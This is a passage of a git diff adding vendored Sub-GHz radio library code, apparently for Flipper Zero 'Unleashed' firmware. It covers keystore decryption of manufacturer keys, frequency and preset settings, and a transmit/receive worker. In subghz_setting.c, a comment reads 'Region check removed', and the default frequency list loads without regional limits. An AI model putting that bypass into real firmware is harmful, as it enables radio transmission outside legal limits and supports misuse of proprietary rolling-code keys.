+        if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) {
+            FURI_LOG_E(TAG, "Unable to load encryption key");
+            break;
+        }
+
+        do {
+            memset(buffer, 0, bufer_size);
+            ret = stream_read(stream, buffer, bufer_size);
+            furi_assert(ret == bufer_size);
+            for(uint16_t i = 0; i < ret - 1; i += 2) {
+                uint8_t hi_nibble = 0;
+                uint8_t lo_nibble = 0;
+                hex_char_to_hex_nibble(buffer[i], &hi_nibble);
+                hex_char_to_hex_nibble(buffer[i + 1], &lo_nibble);
+                buffer[i / 2] = (hi_nibble << 4) | lo_nibble;
+            }
+
+            memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE);
+
+            if(!furi_hal_crypto_decrypt(
+                   (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) {
+                decrypted = false;
+                FURI_LOG_E(TAG, "Decryption failed");
+                break;
+            }
+            memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len);
+
+        } while(0);
+        furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT);
+        if(decrypted) result = true;
+    } while(0);
+    flipper_format_free(flipper_format);
+
+    furi_record_close(RECORD_STORAGE);
+
+    free(decrypted_line);
+
+    furi_string_free(str_temp);
+
+    return result;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.h
new file mode 100644
index 000000000..669fe65a9
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.h
@@ -0,0 +1,82 @@
+#pragma once
+
+#include <furi.h>
+#include <m-array.h>
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+    FuriString* name;
+    uint64_t key;
+    uint16_t type;
+} SubGhzKey;
+
+ARRAY_DEF(SubGhzKeyArray, SubGhzKey, M_POD_OPLIST) //-V658
+
+#define M_OPL_SubGhzKeyArray_t() ARRAY_OPLIST(SubGhzKeyArray, M_POD_OPLIST)
+
+typedef struct SubGhzKeystore SubGhzKeystore;
+
+/**
+ * Allocate SubGhzKeystore.
+ * @return SubGhzKeystore* pointer to a SubGhzKeystore instance
+ */
+SubGhzKeystore* subghz_keystore_alloc(void);
+
+/**
+ * Free SubGhzKeystore.
+ * @param instance Pointer to a SubGhzKeystore instance
+ */
+void subghz_keystore_free(SubGhzKeystore* instance);
+
+/** 
+ * Loading manufacture key from file
+ * @param instance Pointer to a SubGhzKeystore instance
+ * @param filename Full path to the file
+ */
+bool subghz_keystore_load(SubGhzKeystore* instance, const char* filename);
+
+/** 
+ * Save manufacture key to file
+ * @param instance Pointer to a SubGhzKeystore instance
+ * @param filename Full path to the file
+ * @return true On success
+ */
+bool subghz_keystore_save(SubGhzKeystore* instance, const char* filename, uint8_t* iv);
+
+/** 
+ * Get array of keys and names manufacture
+ * @param instance Pointer to a SubGhzKeystore instance
+ * @return SubGhzKeyArray_t*
+ */
+SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance);
+
+/** 
+ * Save RAW encrypted to file
+ * @param input_file_name Full path to the input file
+ * @param output_file_name Full path to the output file
+ * @param iv IV, 16 bytes in hex
+ */
+bool subghz_keystore_raw_encrypted_save(
+    const char* input_file_name,
+    const char* output_file_name,
+    uint8_t* iv);
+
+/** 
+ * Get decrypt RAW data to file
+ * @param file_name Full path to the input file
+ * @param offset Offset from the start of the RAW data
+ * @param data Returned array
+ * @param len Required data length
+ * @return true On success
+ */
+bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* data, size_t len);
+
+void subghz_keystore_reset_kl(SubGhzKeystore* instance);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore_i.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore_i.h
new file mode 100644
index 000000000..8bf2f1e51
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_keystore_i.h
@@ -0,0 +1,9 @@
+#pragma once
+
+#include <m-array.h>
+
+struct SubGhzKeystore {
+    SubGhzKeyArray_t data;
+    const char* mfname;
+    uint8_t kl_type;
+};
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_protocol_registry.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_protocol_registry.h
new file mode 100644
index 000000000..2dfa9ce8b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_protocol_registry.h
@@ -0,0 +1,15 @@
+#pragma once
+
+#include "registry.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+extern const SubGhzProtocolRegistry subghz_protocol_registry;
+
+typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.c b/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.c
new file mode 100644
index 000000000..3d062e413
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.c
@@ -0,0 +1,511 @@
+#include "subghz_setting.h"
+#include "types.h" // IWYU pragma: keep
+
+#include <furi.h>
+#include <m-list.h>
+#include <lib/subghz/devices/cc1101_configs.h>
+
+#define TAG "SubGhzSetting"
+
+#define SUBGHZ_SETTING_FILE_TYPE    "Flipper SubGhz Setting File"
+#define SUBGHZ_SETTING_FILE_VERSION 1
+
+#define FREQUENCY_FLAG_DEFAULT (1 << 31)
+#define FREQUENCY_MASK         (0xFFFFFFFF ^ FREQUENCY_FLAG_DEFAULT)
+
+/* Default */
+static const uint32_t subghz_frequency_list[] = {
+    /* 300 - 348 */
+    300000000,
+    302757000,
+    303000000,
+    303875000,
+    303900000,
+    304250000,
+    307000000,
+    307500000,
+    307800000,
+    309000000,
+    310000000,
+    312000000,
+    312100000,
+    312200000,
+    313000000,
+    313850000,
+    314000000,
+    314350000,
+    314980000,
+    315000000,
+    318000000,
+    320000000,
+    320150000,
+    330000000,
+    345000000,
+    348000000,
+    350000000,
+
+    /* 387 - 464 */
+    387000000,
+    390000000,
+    418000000,
+    430000000,
+    430500000,
+    431000000,
+    431500000,
+    433075000, /* LPD433 first */
+    433220000,
+    433420000,
+    433657070,
+    433889000,
+    433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */
+    434075000,
+    434176948,
+    434190000,
+    434390000,
+    434420000,
+    434620000,
+    434775000, /* LPD433 last channels */
+    438900000,
+    440175000,
+    462750000,
+    464000000,
+    467750000,
+
+    /* 779 - 928 */
+    779000000,
+    868350000,
+    868400000,
+    868460000,
+    868800000,
+    868950000,
+    906400000,
+    915000000,
+    925000000,
+    928000000,
+    0,
+};
+
+static const uint32_t subghz_hopper_frequency_list[] = {
+    315000000,
+    390000000,
+    430500000,
+    433920000,
+    434420000,
+    868350000,
+    0,
+};
+
+typedef struct {
+    FuriString* custom_preset_name;
+    uint8_t* custom_preset_data;
+    size_t custom_preset_data_size;
+} SubGhzSettingCustomPresetItem;
+
+ARRAY_DEF(SubGhzSettingCustomPresetItemArray, SubGhzSettingCustomPresetItem, M_POD_OPLIST) //-V658
+
+#define M_OPL_SubGhzSettingCustomPresetItemArray_t() \
+    ARRAY_OPLIST(SubGhzSettingCustomPresetItemArray, M_POD_OPLIST)
+
+LIST_DEF(FrequencyList, uint32_t)
+
+#define M_OPL_FrequencyList_t() LIST_OPLIST(FrequencyList)
+
+typedef struct {
+    SubGhzSettingCustomPresetItemArray_t data;
+} SubGhzSettingCustomPresetStruct;
+
+struct SubGhzSetting {
+    FrequencyList_t frequencies;
+    FrequencyList_t hopper_frequencies;
+    SubGhzSettingCustomPresetStruct* preset;
+};
+
+SubGhzSetting* subghz_setting_alloc(void) {
+    SubGhzSetting* instance = malloc(sizeof(SubGhzSetting));
+    FrequencyList_init(instance->frequencies);
+    FrequencyList_init(instance->hopper_frequencies);
+    instance->preset = malloc(sizeof(SubGhzSettingCustomPresetStruct));
+    SubGhzSettingCustomPresetItemArray_init(instance->preset->data);
+    return instance;
+}
+
+static void subghz_setting_preset_reset(SubGhzSetting* instance) {
+    for
+        M_EACH(item, instance->preset->data, SubGhzSettingCustomPresetItemArray_t) {
+            furi_string_free(item->custom_preset_name);
+            free(item->custom_preset_data);
+        }
+    SubGhzSettingCustomPresetItemArray_reset(instance->preset->data);
+}
+
+void subghz_setting_free(SubGhzSetting* instance) {
+    furi_check(instance);
+    FrequencyList_clear(instance->frequencies);
+    FrequencyList_clear(instance->hopper_frequencies);
+    for
+        M_EACH(item, instance->preset->data, SubGhzSettingCustomPresetItemArray_t) {
+            furi_string_free(item->custom_preset_name);
+            free(item->custom_preset_data);
+        }
+    SubGhzSettingCustomPresetItemArray_clear(instance->preset->data);
+    free(instance->preset);
+    free(instance);
+}
+
+static void subghz_setting_load_default_preset(
+    SubGhzSetting* instance,
+    const char* preset_name,
+    const uint8_t* preset_data) {
+    furi_assert(instance);
+    furi_assert(preset_data);
+    uint32_t preset_data_count = 0;
+    SubGhzSettingCustomPresetItem* item =
+        SubGhzSettingCustomPresetItemArray_push_raw(instance->preset->data);
+
+    item->custom_preset_name = furi_string_alloc();
+    furi_string_set(item->custom_preset_name, preset_name);
+
+    while(preset_data[preset_data_count]) {
+        preset_data_count += 2;
+    }
+    preset_data_count += 2;
+    item->custom_preset_data_size = sizeof(uint8_t) * preset_data_count + sizeof(uint8_t) * 8;
+    item->custom_preset_data = malloc(item->custom_preset_data_size);
+    //load preset register + pa table
+    memcpy(&item->custom_preset_data[0], &preset_data[0], item->custom_preset_data_size);
+}
+
+static void subghz_setting_load_default_region(
+    SubGhzSetting* instance,
+    const uint32_t frequencies[],
+    const uint32_t hopper_frequencies[]) {
+    furi_assert(instance);
+
+    FrequencyList_reset(instance->frequencies);
+    FrequencyList_reset(instance->hopper_frequencies);
+    subghz_setting_preset_reset(instance);
+
+    while(*frequencies) {
+        FrequencyList_push_back(instance->frequencies, *frequencies);
+        frequencies++;
+    }
+
+    while(*hopper_frequencies) {
+        FrequencyList_push_back(instance->hopper_frequencies, *hopper_frequencies);
+        hopper_frequencies++;
+    }
+
+    subghz_setting_load_default_preset(
+        instance, "AM270", subghz_device_cc1101_preset_ook_270khz_async_regs);
+    subghz_setting_load_default_preset(
+        instance, "AM650", subghz_device_cc1101_preset_ook_650khz_async_regs);
+    subghz_setting_load_default_preset(
+        instance, "FM238", subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs);
+    subghz_setting_load_default_preset(
+        instance, "FM476", subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs);
+    subghz_setting_load_default_preset(
+        instance, "FM12K", subghz_device_cc1101_preset_2fsk_dev12khz_async_regs);
+}
+
+// Region check removed
+void subghz_setting_load_default(SubGhzSetting* instance) {
+    subghz_setting_load_default_region(
+        instance, subghz_frequency_list, subghz_hopper_frequency_list);
+}
+
+void subghz_setting_load(SubGhzSetting* instance, const char* file_path) {
+    furi_check(instance);
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
+
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    uint32_t temp_data32;
+    bool temp_bool;
+
+    subghz_setting_load_default(instance);
+
+    if(file_path) {
+        do {
+            if(!flipper_format_file_open_existing(fff_data_file, file_path)) {
+                FURI_LOG_I(TAG, "File is not used %s", file_path);
+                break;
+            }
+
+            if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) {
+                FURI_LOG_E(TAG, "Missing or incorrect header");
+                break;
+            }
+
+            if((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_SETTING_FILE_TYPE)) &&
+               temp_data32 == SUBGHZ_SETTING_FILE_VERSION) {
+            } else {
+                FURI_LOG_E(TAG, "Type or version mismatch");
+                break;
+            }
+
+            // Standard frequencies (optional)
+            temp_bool = true;
+            flipper_format_read_bool(fff_data_file, "Add_standard_frequencies", &temp_bool, 1);
+            if(!temp_bool) {
+                FURI_LOG_I(TAG, "Removing standard frequencies");
+                FrequencyList_reset(instance->frequencies);
+                FrequencyList_reset(instance->hopper_frequencies);
+            } else {
+                FURI_LOG_I(TAG, "Keeping standard frequencies");
+            }
+
+            // Load frequencies
+            if(!flipper_format_rewind(fff_data_file)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                break;
+            }
+            while(flipper_format_read_uint32(
+                fff_data_file, "Frequency", (uint32_t*)&temp_data32, 1)) {
+                //Todo FL-3535: add a frequency support check depending on the selected radio device
+                if(furi_hal_subghz_is_frequency_valid(temp_data32)) {
+                    FURI_LOG_I(TAG, "Frequency loaded %lu", temp_data32);
+                    FrequencyList_push_back(instance->frequencies, temp_data32);
+                } else {
+                    FURI_LOG_E(TAG, "Frequency not supported %lu", temp_data32);
+                }
+            }
+
+            // Load hopper frequencies
+            if(!flipper_format_rewind(fff_data_file)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                break;
+            }
+            while(flipper_format_read_uint32(
+                fff_data_file, "Hopper_frequency", (uint32_t*)&temp_data32, 1)) {
+                if(furi_hal_subghz_is_frequency_valid(temp_data32)) {
+                    FURI_LOG_I(TAG, "Hopper frequency loaded %lu", temp_data32);
+                    FrequencyList_push_back(instance->hopper_frequencies, temp_data32);
+                } else {
+                    FURI_LOG_E(TAG, "Hopper frequency not supported %lu", temp_data32);
+                }
+            }
+
+            // Default frequency (optional)
+            if(!flipper_format_rewind(fff_data_file)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                break;
+            }
+            if(flipper_format_read_uint32(fff_data_file, "Default_frequency", &temp_data32, 1)) {
+                subghz_setting_set_default_frequency(instance, temp_data32);
+            }
+
+            // custom preset (optional)
+            if(!flipper_format_rewind(fff_data_file)) {
+                FURI_LOG_E(TAG, "Rewind error");
+                break;
+            }
+            furi_string_reset(temp_str);
+            while(flipper_format_read_string(fff_data_file, "Custom_preset_name", temp_str)) {
+                FURI_LOG_I(TAG, "Custom preset loaded %s", furi_string_get_cstr(temp_str));
+                subghz_setting_load_custom_preset(
+                    instance, furi_string_get_cstr(temp_str), fff_data_file);
+            }
+
+        } while(false);
+    }
+
+    furi_string_free(temp_str);
+    flipper_format_free(fff_data_file);
+    furi_record_close(RECORD_STORAGE);
+
+    if(!FrequencyList_size(instance->frequencies) ||
+       !FrequencyList_size(instance->hopper_frequencies)) {
+        FURI_LOG_E(TAG, "Error loading user settings, loading default settings");
+        subghz_setting_load_default(instance);
+    }
+}
+
+void subghz_setting_set_default_frequency(SubGhzSetting* instance, uint32_t frequency_to_setup) {
+    for
+        M_EACH(frequency, instance->frequencies, FrequencyList_t) {
+            *frequency &= FREQUENCY_MASK;
+            if(*frequency == frequency_to_setup) {
+                *frequency |= FREQUENCY_FLAG_DEFAULT;
+            }
+        }
+}
+
+size_t subghz_setting_get_frequency_count(SubGhzSetting* instance) {
+    furi_check(instance);
+    return FrequencyList_size(instance->frequencies);
+}
+
+size_t subghz_setting_get_hopper_frequency_count(SubGhzSetting* instance) {
+    furi_check(instance);
+    return FrequencyList_size(instance->hopper_frequencies);
+}
+
+size_t subghz_setting_get_preset_count(SubGhzSetting* instance) {
+    furi_check(instance);
+    return SubGhzSettingCustomPresetItemArray_size(instance->preset->data);
+}
+
+const char* subghz_setting_get_preset_name(SubGhzSetting* instance, size_t idx) {
+    furi_check(instance);
+    if(idx >= SubGhzSettingCustomPresetItemArray_size(instance->preset->data)) {
+        idx = 0;
+    }
+    SubGhzSettingCustomPresetItem* item =
+        SubGhzSettingCustomPresetItemArray_get(instance->preset->data, idx);
+    return furi_string_get_cstr(item->custom_preset_name);
+}
+
+int subghz_setting_get_inx_preset_by_name(SubGhzSetting* instance, const char* preset_name) {
+    furi_check(instance);
+    size_t idx = 0;
+    for
+        M_EACH(item, instance->preset->data, SubGhzSettingCustomPresetItemArray_t) {
+            if(strcmp(furi_string_get_cstr(item->custom_preset_name), preset_name) == 0) {
+                return idx;
+            }
+            idx++;
+        }
+    furi_crash("SubGhz: No name preset.");
+    return -1;
+}
+
+bool subghz_setting_load_custom_preset(
+    SubGhzSetting* instance,
+    const char* preset_name,
+    FlipperFormat* fff_data_file) {
+    furi_check(instance);
+    furi_check(preset_name);
+    uint32_t temp_data32;
+    SubGhzSettingCustomPresetItem* item =
+        SubGhzSettingCustomPresetItemArray_push_raw(instance->preset->data);
+    item->custom_preset_name = furi_string_alloc();
+    furi_string_set(item->custom_preset_name, preset_name);
+    do {
+        if(!flipper_format_get_value_count(fff_data_file, "Custom_preset_data", &temp_data32))
+            break;
+        if(!temp_data32 || (temp_data32 % 2)) {
+            FURI_LOG_E(TAG, "Integrity error Custom_preset_data");
+            break;
+        }
+        item->custom_preset_data_size = sizeof(uint8_t) * temp_data32;
+        item->custom_preset_data = malloc(item->custom_preset_data_size);
+        if(!flipper_format_read_hex(
+               fff_data_file,
+               "Custom_preset_data",
+               item->custom_preset_data,
+               item->custom_preset_data_size)) {
+            FURI_LOG_E(TAG, "Missing Custom_preset_data");
+            break;
+        }
+        return true;
+    } while(true);
+    return false;
+}
+
+bool subghz_setting_delete_custom_preset(SubGhzSetting* instance, const char* preset_name) {
+    furi_check(instance);
+    furi_check(preset_name);
+    SubGhzSettingCustomPresetItemArray_it_t it;
+    SubGhzSettingCustomPresetItemArray_it_last(it, instance->preset->data);
+    while(!SubGhzSettingCustomPresetItemArray_end_p(it)) {
+        SubGhzSettingCustomPresetItem* item = SubGhzSettingCustomPresetItemArray_ref(it);
+        if(strcmp(furi_string_get_cstr(item->custom_preset_name), preset_name) == 0) {
+            furi_string_free(item->custom_preset_name);
+            free(item->custom_preset_data);
+            SubGhzSettingCustomPresetItemArray_remove(instance->preset->data, it);
+            return true;
+        }
+        SubGhzSettingCustomPresetItemArray_previous(it);
+    }
+    return false;
+}
+
+uint8_t* subghz_setting_get_preset_data(SubGhzSetting* instance, size_t idx) {
+    furi_check(instance);
+    SubGhzSettingCustomPresetItem* item =
+        SubGhzSettingCustomPresetItemArray_get(instance->preset->data, idx);
+    return item->custom_preset_data;
+}
+
+size_t subghz_setting_get_preset_data_size(SubGhzSetting* instance, size_t idx) {
+    furi_check(instance);
+    SubGhzSettingCustomPresetItem* item =
+        SubGhzSettingCustomPresetItemArray_get(instance->preset->data, idx);
+    return item->custom_preset_data_size;
+}
+
+uint8_t* subghz_setting_get_preset_data_by_name(SubGhzSetting* instance, const char* preset_name) {
+    furi_check(instance);
+    SubGhzSettingCustomPresetItem* item = SubGhzSettingCustomPresetItemArray_get(
+        instance->preset->data, subghz_setting_get_inx_preset_by_name(instance, preset_name));
+    return item->custom_preset_data;
+}
+
+uint32_t subghz_setting_get_frequency(SubGhzSetting* instance, size_t idx) {
+    furi_check(instance);
+    if(idx < FrequencyList_size(instance->frequencies)) {
+        return (*FrequencyList_get(instance->frequencies, idx)) & FREQUENCY_MASK;
+    } else {
+        return 0;
+    }
+}
+
+uint32_t subghz_setting_get_hopper_frequency(SubGhzSetting* instance, size_t idx) {
+    furi_check(instance);
+    if(idx < FrequencyList_size(instance->hopper_frequencies)) {
+        return *FrequencyList_get(instance->hopper_frequencies, idx);
+    } else {
+        return 0;
+    }
+}
+
+uint32_t subghz_setting_get_frequency_default_index(SubGhzSetting* instance) {
+    furi_check(instance);
+    for(size_t i = 0; i < FrequencyList_size(instance->frequencies); i++) {
+        uint32_t frequency = *FrequencyList_get(instance->frequencies, i);
+        if(frequency & FREQUENCY_FLAG_DEFAULT) {
+            return i;
+        }
+    }
+    return 0;
+}
+
+uint32_t subghz_setting_get_default_frequency(SubGhzSetting* instance) {
+    furi_check(instance);
+    return subghz_setting_get_frequency(
+        instance, subghz_setting_get_frequency_default_index(instance));
+}
+
+uint8_t subghz_setting_customs_presets_to_log(SubGhzSetting* instance) {
+    furi_assert(instance);
+#ifndef FURI_DEBUG
+    FURI_LOG_I(TAG, "Logging loaded presets allow only Debug build");
+#else
+    uint8_t count = 0;
+    FuriString* temp = furi_string_alloc();
+
+    FURI_LOG_I(TAG, "Loaded presets");
+    for
+        M_EACH(item, instance->preset->data, SubGhzSettingCustomPresetItemArray_t) {
+            furi_string_reset(temp);
+
+            for(uint8_t i = 0; i < item->custom_preset_data_size; i++) {
+                furi_string_cat_printf(temp, "%02u ", item->custom_preset_data[i]);
+            }
+
+            FURI_LOG_I(
+                TAG, "%u  -  %s", count + 1, furi_string_get_cstr(item->custom_preset_name));
+            FURI_LOG_I(TAG, "  Size: %u", item->custom_preset_data_size);
+            FURI_LOG_I(TAG, "  Data: %s", furi_string_get_cstr(temp));
+
+            count++;
+        }
+
+    furi_string_free(temp);
+
+    return count;
+#endif
+    return 0;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.h b/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.h
new file mode 100644
index 000000000..3e705312f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_setting.h
@@ -0,0 +1,60 @@
+
+#pragma once
+
+#include <math.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include <lib/flipper_format/flipper_format.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SUBGHZ_SETTING_DEFAULT_PRESET_COUNT 4
+
+typedef struct SubGhzSetting SubGhzSetting;
+
+SubGhzSetting* subghz_setting_alloc(void);
+
+void subghz_setting_free(SubGhzSetting* instance);
+
+void subghz_setting_load(SubGhzSetting* instance, const char* file_path);
+
+size_t subghz_setting_get_frequency_count(SubGhzSetting* instance);
+
+size_t subghz_setting_get_hopper_frequency_count(SubGhzSetting* instance);
+
+size_t subghz_setting_get_preset_count(SubGhzSetting* instance);
+
+const char* subghz_setting_get_preset_name(SubGhzSetting* instance, size_t idx);
+
+int subghz_setting_get_inx_preset_by_name(SubGhzSetting* instance, const char* preset_name);
+
+uint8_t* subghz_setting_get_preset_data(SubGhzSetting* instance, size_t idx);
+
+size_t subghz_setting_get_preset_data_size(SubGhzSetting* instance, size_t idx);
+
+uint8_t* subghz_setting_get_preset_data_by_name(SubGhzSetting* instance, const char* preset_name);
+
+bool subghz_setting_load_custom_preset(
+    SubGhzSetting* instance,
+    const char* preset_name,
+    FlipperFormat* fff_data_file);
+
+bool subghz_setting_delete_custom_preset(SubGhzSetting* instance, const char* preset_name);
+
+uint32_t subghz_setting_get_frequency(SubGhzSetting* instance, size_t idx);
+
+uint32_t subghz_setting_get_hopper_frequency(SubGhzSetting* instance, size_t idx);
+
+uint32_t subghz_setting_get_frequency_default_index(SubGhzSetting* instance);
+
+uint32_t subghz_setting_get_default_frequency(SubGhzSetting* instance);
+
+void subghz_setting_set_default_frequency(SubGhzSetting* instance, uint32_t frequency_to_setup);
+
+uint8_t subghz_setting_customs_presets_to_log(SubGhzSetting* instance);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.c b/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.c
new file mode 100644
index 000000000..81f123856
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.c
@@ -0,0 +1,269 @@
+#include "subghz_tx_rx_worker.h"
+
+#include <furi.h>
+
+#define TAG "SubGhzTxRxWorker"
+
+#define SUBGHZ_TXRX_WORKER_BUF_SIZE      2048
+//you can not set more than 62 because it will not fit into the FIFO CC1101
+#define SUBGHZ_TXRX_WORKER_MAX_TXRX_SIZE 60
+
+#define SUBGHZ_TXRX_WORKER_TIMEOUT_READ_WRITE_BUF 40
+
+struct SubGhzTxRxWorker {
+    FuriThread* thread;
+    FuriStreamBuffer* stream_tx;
+    FuriStreamBuffer* stream_rx;
+
+    volatile bool worker_running;
+    volatile bool worker_stopping;
+
+    SubGhzTxRxWorkerStatus status;
+
+    uint32_t frequency;
+    const SubGhzDevice* device;
+    const GpioPin* device_data_gpio;
+
+    SubGhzTxRxWorkerCallbackHaveRead callback_have_read;
+    void* context_have_read;
+};
+
+bool subghz_tx_rx_worker_write(SubGhzTxRxWorker* instance, uint8_t* data, size_t size) {
+    furi_check(instance);
+    bool ret = false;
+    size_t stream_tx_free_byte = furi_stream_buffer_spaces_available(instance->stream_tx);
+    if(size && (stream_tx_free_byte >= size)) {
+        if(furi_stream_buffer_send(
+               instance->stream_tx, data, size, SUBGHZ_TXRX_WORKER_TIMEOUT_READ_WRITE_BUF) ==
+           size) {
+            ret = true;
+        }
+    }
+    return ret;
+}
+
+size_t subghz_tx_rx_worker_available(SubGhzTxRxWorker* instance) {
+    furi_check(instance);
+    return furi_stream_buffer_bytes_available(instance->stream_rx);
+}
+
+size_t subghz_tx_rx_worker_read(SubGhzTxRxWorker* instance, uint8_t* data, size_t size) {
+    furi_check(instance);
+    return furi_stream_buffer_receive(instance->stream_rx, data, size, 0);
+}
+
+void subghz_tx_rx_worker_set_callback_have_read(
+    SubGhzTxRxWorker* instance,
+    SubGhzTxRxWorkerCallbackHaveRead callback,
+    void* context) {
+    furi_check(instance);
+    furi_check(callback);
+    furi_check(context);
+    instance->callback_have_read = callback;
+    instance->context_have_read = context;
+}
+
+bool subghz_tx_rx_worker_rx(SubGhzTxRxWorker* instance, uint8_t* data, uint8_t* size) {
+    uint8_t timeout = 100;
+    bool ret = false;
+    if(instance->status != SubGhzTxRxWorkerStatusRx) {
+        subghz_devices_set_rx(instance->device);
+        instance->status = SubGhzTxRxWorkerStatusRx;
+        furi_delay_tick(1);
+    }
+    //waiting for reception to complete
+    while(furi_hal_gpio_read(instance->device_data_gpio)) {
+        furi_delay_tick(1);
+        if(!--timeout) {
+            FURI_LOG_W(TAG, "RX cc1101_g0 timeout");
+            subghz_devices_flush_rx(instance->device);
+            subghz_devices_set_rx(instance->device);
+            break;
+        }
+    }
+
+    if(subghz_devices_rx_pipe_not_empty(instance->device)) {
+        FURI_LOG_I(
+            TAG,
+            "RSSI: %03.1fdbm LQI: %d",
+            (double)subghz_devices_get_rssi(instance->device),
+            subghz_devices_get_lqi(instance->device));
+        if(subghz_devices_is_rx_data_crc_valid(instance->device)) {
+            subghz_devices_read_packet(instance->device, data, size);
+            ret = true;
+        }
+        subghz_devices_flush_rx(instance->device);
+        subghz_devices_set_rx(instance->device);
+    }
+    return ret;
+}
+
+void subghz_tx_rx_worker_tx(SubGhzTxRxWorker* instance, uint8_t* data, size_t size) {
+    uint8_t timeout = 200;
+    if(instance->status != SubGhzTxRxWorkerStatusIDLE) {
+        subghz_devices_idle(instance->device);
+    }
+    subghz_devices_write_packet(instance->device, data, size);
+    subghz_devices_set_tx(instance->device); //start send
+    instance->status = SubGhzTxRxWorkerStatusTx;
+    while(!furi_hal_gpio_read(
+        instance->device_data_gpio)) { // Wait for GDO0 to be set -> sync transmitted
+        furi_delay_tick(1);
+        if(!--timeout) {
+            FURI_LOG_W(TAG, "TX !cc1101_g0 timeout");
+            break;
+        }
+    }
+    while(furi_hal_gpio_read(
+        instance->device_data_gpio)) { // Wait for GDO0 to be cleared -> end of packet
+        furi_delay_tick(1);
+        if(!--timeout) {
+            FURI_LOG_W(TAG, "TX cc1101_g0 timeout");
+            break;
+        }
+    }
+    subghz_devices_idle(instance->device);
+    instance->status = SubGhzTxRxWorkerStatusIDLE;
+}
+/** Worker thread
+ * 
+ * @param context 
+ * @return exit code 
+ */
+static int32_t subghz_tx_rx_worker_thread(void* context) {
+    SubGhzTxRxWorker* instance = context;
+    furi_check(instance->device);
+    FURI_LOG_I(TAG, "Worker start");
+
+    subghz_devices_begin(instance->device);
+    instance->device_data_gpio = subghz_devices_get_data_gpio(instance->device);
+    subghz_devices_reset(instance->device);
+    subghz_devices_idle(instance->device);
+    subghz_devices_load_preset(instance->device, FuriHalSubGhzPresetGFSK9_99KbAsync, NULL);
+
+    furi_hal_gpio_init(instance->device_data_gpio, GpioModeInput, GpioPullNo, GpioSpeedLow);
+
+    subghz_devices_set_frequency(instance->device, instance->frequency);
+    subghz_devices_flush_rx(instance->device);
+
+    uint8_t data[SUBGHZ_TXRX_WORKER_MAX_TXRX_SIZE + 1] = {0};
+    size_t size_tx = 0;
+    uint8_t size_rx[1] = {0};
+    uint8_t timeout_tx = 0;
+    bool callback_rx = false;
+
+    while(instance->worker_running) {
+        //transmit
+        size_tx = furi_stream_buffer_bytes_available(instance->stream_tx);
+        if(size_tx > 0 && !timeout_tx) {
+            timeout_tx = 10; //20ms
+            if(size_tx > SUBGHZ_TXRX_WORKER_MAX_TXRX_SIZE) {
+                furi_stream_buffer_receive(
+                    instance->stream_tx,
+                    &data,
+                    SUBGHZ_TXRX_WORKER_MAX_TXRX_SIZE,
+                    SUBGHZ_TXRX_WORKER_TIMEOUT_READ_WRITE_BUF);
+                subghz_tx_rx_worker_tx(instance, data, SUBGHZ_TXRX_WORKER_MAX_TXRX_SIZE);
+            } else {
+                //TODO FL-3554: checking that it managed to write all the data to the TX buffer
+                furi_stream_buffer_receive(
+                    instance->stream_tx, &data, size_tx, SUBGHZ_TXRX_WORKER_TIMEOUT_READ_WRITE_BUF);
+                subghz_tx_rx_worker_tx(instance, data, size_tx);
+            }
+        } else {
+            //receive
+            if(subghz_tx_rx_worker_rx(instance, data, size_rx)) {
+                if(furi_stream_buffer_spaces_available(instance->stream_rx) >= size_rx[0]) {
+                    if(instance->callback_have_read &&
+                       furi_stream_buffer_bytes_available(instance->stream_rx) == 0) {
+                        callback_rx = true;
+                    }
+                    //TODO FL-3554: checking that it managed to write all the data to the RX buffer
+                    furi_stream_buffer_send(
+                        instance->stream_rx,
+                        &data,
+                        size_rx[0],
